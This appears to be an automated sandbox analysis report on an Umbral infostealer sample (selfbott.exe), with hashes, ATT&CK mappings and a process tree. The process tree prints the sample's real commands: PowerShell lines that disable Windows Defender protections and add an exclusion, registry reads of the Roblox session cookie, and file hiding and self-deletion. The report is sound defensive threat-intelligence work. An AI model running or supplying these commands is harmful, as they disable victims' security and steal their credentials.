umbral | 864825be054e1dd6ff62defe866c25c03961ef221975f386fe5385c8de6f8ce6

Analysis

max time kernel
95s
max time network
141s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
30-11-2024 13:29

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General

Target

selfbott.exe
Size

227KB
MD5

e8bf31ef50755a97e720a2272bc2d982
SHA1

7d99287c32962fcb643916817a1f97dde5eeb13b
SHA256

864825be054e1dd6ff62defe866c25c03961ef221975f386fe5385c8de6f8ce6
SHA512

27cf74d9f73677f449cc9bd80d3edaa99b12d8a225e067237caa616aaf85012925a13da3eb6512fbf762e0dc765f85fb76dc5fffe9eff9f7a3aab4733cd35d94
SSDEEP

6144:eloZM9rIkd8g+EtXHkv/iD49gXDR/k4XKG/BcoNgdb8e1m9i:IoZOL+EP89gXDR/k4XKG/BcoNAH

Score

10^/10

umbral discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral2/memory/2988-1-0x000001B95FCE0000-0x000001B95FD20000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1036	powershell.exe
3328	powershell.exe
4544	powershell.exe
1044	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	selfbott.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
20	discord.com
21	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
17	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
4424	cmd.exe
4688	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1812	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
4688	PING.EXE

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
1044	powershell.exe
1044	powershell.exe
1036	powershell.exe
1036	powershell.exe
3328	powershell.exe
3328	powershell.exe
5088	powershell.exe
5088	powershell.exe
4544	powershell.exe
4544	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2988	selfbott.exe
Token: SeDebugPrivilege	1044	powershell.exe
Token: SeDebugPrivilege	1036	powershell.exe
Token: SeDebugPrivilege	3328	powershell.exe
Token: SeDebugPrivilege	5088	powershell.exe
Token: SeIncreaseQuotaPrivilege	4908	wmic.exe
Token: SeSecurityPrivilege	4908	wmic.exe
Token: SeTakeOwnershipPrivilege	4908	wmic.exe
Token: SeLoadDriverPrivilege	4908	wmic.exe
Token: SeSystemProfilePrivilege	4908	wmic.exe
Token: SeSystemtimePrivilege	4908	wmic.exe
Token: SeProfSingleProcessPrivilege	4908	wmic.exe
Token: SeIncBasePriorityPrivilege	4908	wmic.exe
Token: SeCreatePagefilePrivilege	4908	wmic.exe
Token: SeBackupPrivilege	4908	wmic.exe
Token: SeRestorePrivilege	4908	wmic.exe
Token: SeShutdownPrivilege	4908	wmic.exe
Token: SeDebugPrivilege	4908	wmic.exe
Token: SeSystemEnvironmentPrivilege	4908	wmic.exe
Token: SeRemoteShutdownPrivilege	4908	wmic.exe
Token: SeUndockPrivilege	4908	wmic.exe
Token: SeManageVolumePrivilege	4908	wmic.exe
Token: 33	4908	wmic.exe
Token: 34	4908	wmic.exe
Token: 35	4908	wmic.exe
Token: 36	4908	wmic.exe
Token: SeIncreaseQuotaPrivilege	4908	wmic.exe
Token: SeSecurityPrivilege	4908	wmic.exe
Token: SeTakeOwnershipPrivilege	4908	wmic.exe
Token: SeLoadDriverPrivilege	4908	wmic.exe
Token: SeSystemProfilePrivilege	4908	wmic.exe
Token: SeSystemtimePrivilege	4908	wmic.exe
Token: SeProfSingleProcessPrivilege	4908	wmic.exe
Token: SeIncBasePriorityPrivilege	4908	wmic.exe
Token: SeCreatePagefilePrivilege	4908	wmic.exe
Token: SeBackupPrivilege	4908	wmic.exe
Token: SeRestorePrivilege	4908	wmic.exe
Token: SeShutdownPrivilege	4908	wmic.exe
Token: SeDebugPrivilege	4908	wmic.exe
Token: SeSystemEnvironmentPrivilege	4908	wmic.exe
Token: SeRemoteShutdownPrivilege	4908	wmic.exe
Token: SeUndockPrivilege	4908	wmic.exe
Token: SeManageVolumePrivilege	4908	wmic.exe
Token: 33	4908	wmic.exe
Token: 34	4908	wmic.exe
Token: 35	4908	wmic.exe
Token: 36	4908	wmic.exe
Token: SeIncreaseQuotaPrivilege	2764	wmic.exe
Token: SeSecurityPrivilege	2764	wmic.exe
Token: SeTakeOwnershipPrivilege	2764	wmic.exe
Token: SeLoadDriverPrivilege	2764	wmic.exe
Token: SeSystemProfilePrivilege	2764	wmic.exe
Token: SeSystemtimePrivilege	2764	wmic.exe
Token: SeProfSingleProcessPrivilege	2764	wmic.exe
Token: SeIncBasePriorityPrivilege	2764	wmic.exe
Token: SeCreatePagefilePrivilege	2764	wmic.exe
Token: SeBackupPrivilege	2764	wmic.exe
Token: SeRestorePrivilege	2764	wmic.exe
Token: SeShutdownPrivilege	2764	wmic.exe
Token: SeDebugPrivilege	2764	wmic.exe
Token: SeSystemEnvironmentPrivilege	2764	wmic.exe
Token: SeRemoteShutdownPrivilege	2764	wmic.exe
Token: SeUndockPrivilege	2764	wmic.exe
Token: SeManageVolumePrivilege	2764	wmic.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 2988 wrote to memory of 5080	2988	selfbott.exe	82
PID 2988 wrote to memory of 5080	2988	selfbott.exe	82
PID 2988 wrote to memory of 1044	2988	selfbott.exe	84
PID 2988 wrote to memory of 1044	2988	selfbott.exe	84
PID 2988 wrote to memory of 1036	2988	selfbott.exe	86
PID 2988 wrote to memory of 1036	2988	selfbott.exe	86
PID 2988 wrote to memory of 3328	2988	selfbott.exe	88
PID 2988 wrote to memory of 3328	2988	selfbott.exe	88
PID 2988 wrote to memory of 5088	2988	selfbott.exe	90
PID 2988 wrote to memory of 5088	2988	selfbott.exe	90
PID 2988 wrote to memory of 4908	2988	selfbott.exe	92
PID 2988 wrote to memory of 4908	2988	selfbott.exe	92
PID 2988 wrote to memory of 2764	2988	selfbott.exe	95
PID 2988 wrote to memory of 2764	2988	selfbott.exe	95
PID 2988 wrote to memory of 1140	2988	selfbott.exe	97
PID 2988 wrote to memory of 1140	2988	selfbott.exe	97
PID 2988 wrote to memory of 4544	2988	selfbott.exe	99
PID 2988 wrote to memory of 4544	2988	selfbott.exe	99
PID 2988 wrote to memory of 1812	2988	selfbott.exe	101
PID 2988 wrote to memory of 1812	2988	selfbott.exe	101
PID 2988 wrote to memory of 4424	2988	selfbott.exe	103
PID 2988 wrote to memory of 4424	2988	selfbott.exe	103
PID 4424 wrote to memory of 4688	4424	cmd.exe	105
PID 4424 wrote to memory of 4688	4424	cmd.exe	105

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
5080	attrib.exe

C:\Users\Admin\AppData\Local\Temp\selfbott.exe
"C:\Users\Admin\AppData\Local\Temp\selfbott.exe"
1⤵
- Drops file in Drivers directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2988
- C:\Windows\SYSTEM32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\selfbott.exe"
  2⤵
  - Views/modifies file attributes
  PID:5080
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\selfbott.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1044
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1036
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3328
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5088
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4908
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2764
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:1140
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4544
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:1812
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\selfbott.exe" && pause
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:4424
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:4688

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
77d622bb1a5b250869a3238b9bc1402b

SHA1
d47f4003c2554b9dfc4c16f22460b331886b191b

SHA256
f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

SHA512
d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
ba42012e626d8c04b25c5e8bcb49d58e

SHA1
4f542888067e87d2d4dd8ced7bc901abd60f819b

SHA256
0a3c73d3b3afc81747d415241a047a1cadd117a0536606b89e57ecf8836e40ff

SHA512
6678e24f430379c3c2ec0385fc02d0db9a65720072b57e4b36f23be65c82b4d3da2692e1bf0d575bdd59d5673fa1b64ab99d1881367af632bb89121b1981fe11

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
548dd08570d121a65e82abb7171cae1c

SHA1
1a1b5084b3a78f3acd0d811cc79dbcac121217ab

SHA256
cdf17b8532ebcebac3cfe23954a30aa32edd268d040da79c82687e4ccb044adc

SHA512
37b98b09178b51eec9599af90d027d2f1028202efc1633047e16e41f1a95610984af5620baac07db085ccfcb96942aafffad17aa1f44f63233e83869dc9f697b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
2b2890cc5ac7d1e30277a2ccf69e87c4

SHA1
061e93fec8664db444803862b52c4f48449ca316

SHA256
0126a1be3d2f9d2cc57881de2166b88d3a39de18c83bb5fbc7a9b11ff586f330

SHA512
2a8131533c09342b6c4e759336f7f0f005aa48280139d69664745d1e23a2654e7617a56a6c7c85f7eee73653913edab19e239d3e5a99f82f1e5f8c313f6ff3f9

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wvlhfsxh.ic5.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1044-12-0x00000256EC460000-0x00000256EC482000-memory.dmp

Filesize
136KB

Download
memory/1044-14-0x00007FFFD20B0000-0x00007FFFD2B71000-memory.dmp

Filesize
10.8MB

Download
memory/1044-15-0x00007FFFD20B0000-0x00007FFFD2B71000-memory.dmp

Filesize
10.8MB

Download
memory/1044-18-0x00007FFFD20B0000-0x00007FFFD2B71000-memory.dmp

Filesize
10.8MB

Download
memory/1044-3-0x00007FFFD20B0000-0x00007FFFD2B71000-memory.dmp

Filesize
10.8MB

Download
memory/2988-34-0x000001B97A4D0000-0x000001B97A520000-memory.dmp

Filesize
320KB

Download
memory/2988-33-0x000001B97A450000-0x000001B97A4C6000-memory.dmp

Filesize
472KB

Download
memory/2988-35-0x000001B961980000-0x000001B96199E000-memory.dmp

Filesize
120KB

Download
memory/2988-1-0x000001B95FCE0000-0x000001B95FD20000-memory.dmp

Filesize
256KB

Download
memory/2988-0-0x00007FFFD20B3000-0x00007FFFD20B5000-memory.dmp

Filesize
8KB

Download
memory/2988-73-0x000001B97A3D0000-0x000001B97A3DA000-memory.dmp

Filesize
40KB

Download
memory/2988-74-0x000001B97A400000-0x000001B97A412000-memory.dmp

Filesize
72KB

Download
memory/2988-2-0x00007FFFD20B0000-0x00007FFFD2B71000-memory.dmp

Filesize
10.8MB

Download
memory/2988-94-0x00007FFFD20B0000-0x00007FFFD2B71000-memory.dmp

Filesize
10.8MB

Download
memory/5088-70-0x000001C0A5660000-0x000001C0A587C000-memory.dmp

Filesize
2.1MB

Download